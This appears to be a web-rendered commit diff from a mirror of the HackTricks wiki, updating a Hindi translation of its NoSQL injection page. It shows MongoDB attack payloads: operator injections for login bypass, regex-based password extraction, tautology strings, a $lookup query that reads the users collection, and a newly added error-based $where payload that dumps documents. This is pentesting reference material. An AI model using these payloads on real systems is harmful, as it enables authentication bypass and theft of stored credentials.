mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/nosql-injection.md'] to hi
This commit is contained in:
parent
01f6bb976a
commit
a9eb75a7ac
@ -6,7 +6,7 @@
|
|||||||
|
|
||||||
PHP में आप एक Array भेज सकते हैं, भेजे गए पैरामीटर को _parameter=foo_ से _parameter\[arrName]=foo_ में बदलकर।
|
PHP में आप एक Array भेज सकते हैं, भेजे गए पैरामीटर को _parameter=foo_ से _parameter\[arrName]=foo_ में बदलकर।
|
||||||
|
|
||||||
एक्सप्लॉइट्स **Operator** जोड़ने पर आधारित हैं:
|
शोषण **Operator** जोड़ने पर आधारित हैं:
|
||||||
```bash
|
```bash
|
||||||
username[$ne]=1$password[$ne]=1 #<Not Equals>
|
username[$ne]=1$password[$ne]=1 #<Not Equals>
|
||||||
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
|
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
|
||||||
@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true
|
|||||||
```javascript
|
```javascript
|
||||||
query = { $where: `this.username == '${username}'` }
|
query = { $where: `this.username == '${username}'` }
|
||||||
```
|
```
|
||||||
एक हमलावर इसको इस तरह से भुनाने के लिए स्ट्रिंग्स जैसे `admin' || 'a'=='a` इनपुट कर सकता है, जिससे क्वेरी सभी दस्तावेज़ों को वापस कर देती है क्योंकि यह एक तात्त्विकता (`'a'=='a'`) के साथ शर्त को पूरा करती है। यह SQL इंजेक्शन हमलों के समान है जहाँ इनपुट जैसे `' or 1=1-- -` का उपयोग SQL क्वेरीज़ को हेरफेर करने के लिए किया जाता है। MongoDB में, इसी तरह के इंजेक्शन इनपुट जैसे `' || 1==1//`, `' || 1==1%00`, या `admin' || 'a'=='a` का उपयोग करके किए जा सकते हैं।
|
एक हमलावर इसे इस तरह से उपयोग कर सकता है कि वह स्ट्रिंग्स जैसे `admin' || 'a'=='a` इनपुट करे, जिससे क्वेरी सभी दस्तावेज़ों को वापस कर देगी क्योंकि यह एक तात्त्विकता (`'a'=='a'`) के साथ शर्त को पूरा करती है। यह SQL इंजेक्शन हमलों के समान है जहाँ इनपुट जैसे `' or 1=1-- -` का उपयोग SQL क्वेरियों को हेरफेर करने के लिए किया जाता है। MongoDB में, इसी तरह के इंजेक्शन इनपुट जैसे `' || 1==1//`, `' || 1==1%00`, या `admin' || 'a'=='a` का उपयोग करके किए जा सकते हैं।
|
||||||
```
|
```
|
||||||
Normal sql: ' or 1=1-- -
|
Normal sql: ' or 1=1-- -
|
||||||
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
|
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
|
||||||
@ -46,7 +46,7 @@ username[$ne]=toto&password[$regex]=.{1}
|
|||||||
username[$ne]=toto&password[$regex]=.{3}
|
username[$ne]=toto&password[$regex]=.{3}
|
||||||
# True if the length equals 1,3...
|
# True if the length equals 1,3...
|
||||||
```
|
```
|
||||||
### Extract **data** information
|
### डेटा जानकारी निकालें
|
||||||
```
|
```
|
||||||
in URL (if length == 3)
|
in URL (if length == 3)
|
||||||
username[$ne]=toto&password[$regex]=a.{2}
|
username[$ne]=toto&password[$regex]=a.{2}
|
||||||
@ -86,9 +86,9 @@ in JSON
|
|||||||
|
|
||||||
### विभिन्न संग्रह से जानकारी प्राप्त करें
|
### विभिन्न संग्रह से जानकारी प्राप्त करें
|
||||||
|
|
||||||
[**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) का उपयोग करके एक अलग संग्रह से जानकारी प्राप्त करना संभव है। निम्नलिखित उदाहरण में, हम **`users`** नामक **अलग संग्रह** से पढ़ रहे हैं और एक वाइल्डकार्ड से मेल खाने वाले पासवर्ड के साथ **सभी प्रविष्टियों** के **परिणाम** प्राप्त कर रहे हैं।
|
[**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) का उपयोग करके एक अलग संग्रह से जानकारी प्राप्त करना संभव है। निम्नलिखित उदाहरण में, हम **`users`** नामक **अलग संग्रह** से पढ़ रहे हैं और एक वाइल्डकार्ड से मेल खाने वाले पासवर्ड के साथ **सभी प्रविष्टियों के परिणाम** प्राप्त कर रहे हैं।
|
||||||
|
|
||||||
**नोट:** `$lookup` और अन्य समग्र कार्य केवल तभी उपलब्ध हैं जब `aggregate()` फ़ंक्शन का उपयोग खोज करने के लिए किया गया हो, न कि अधिक सामान्य `find()` या `findOne()` फ़ंक्शंस का।
|
**नोट:** `$lookup` और अन्य समेकन कार्य केवल तभी उपलब्ध हैं जब `aggregate()` फ़ंक्शन का उपयोग खोज करने के लिए किया गया हो, न कि अधिक सामान्य `find()` या `findOne()` फ़ंक्शंस का।
|
||||||
```json
|
```json
|
||||||
[
|
[
|
||||||
{
|
{
|
||||||
@ -108,6 +108,12 @@ in JSON
|
|||||||
}
|
}
|
||||||
]
|
]
|
||||||
```
|
```
|
||||||
|
### Error-Based Injection
|
||||||
|
|
||||||
|
`throw new Error(JSON.stringify(this))` को `$where` क्लॉज में इंजेक्ट करें ताकि सर्वर-साइड जावास्क्रिप्ट त्रुटियों के माध्यम से पूर्ण दस्तावेज़ों को एक्सफिल्ट्रेट किया जा सके (इसके लिए एप्लिकेशन को डेटाबेस त्रुटियों को लीक करना आवश्यक है)। उदाहरण:
|
||||||
|
```json
|
||||||
|
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
|
||||||
|
```
|
||||||
## MongoDB Payloads
|
## MongoDB Payloads
|
||||||
|
|
||||||
सूची [यहां से](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
|
सूची [यहां से](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
|
||||||
@ -229,5 +235,6 @@ get_password(u)
|
|||||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
|
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
|
||||||
- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
|
- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
|
||||||
- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
|
- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
|
||||||
|
- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user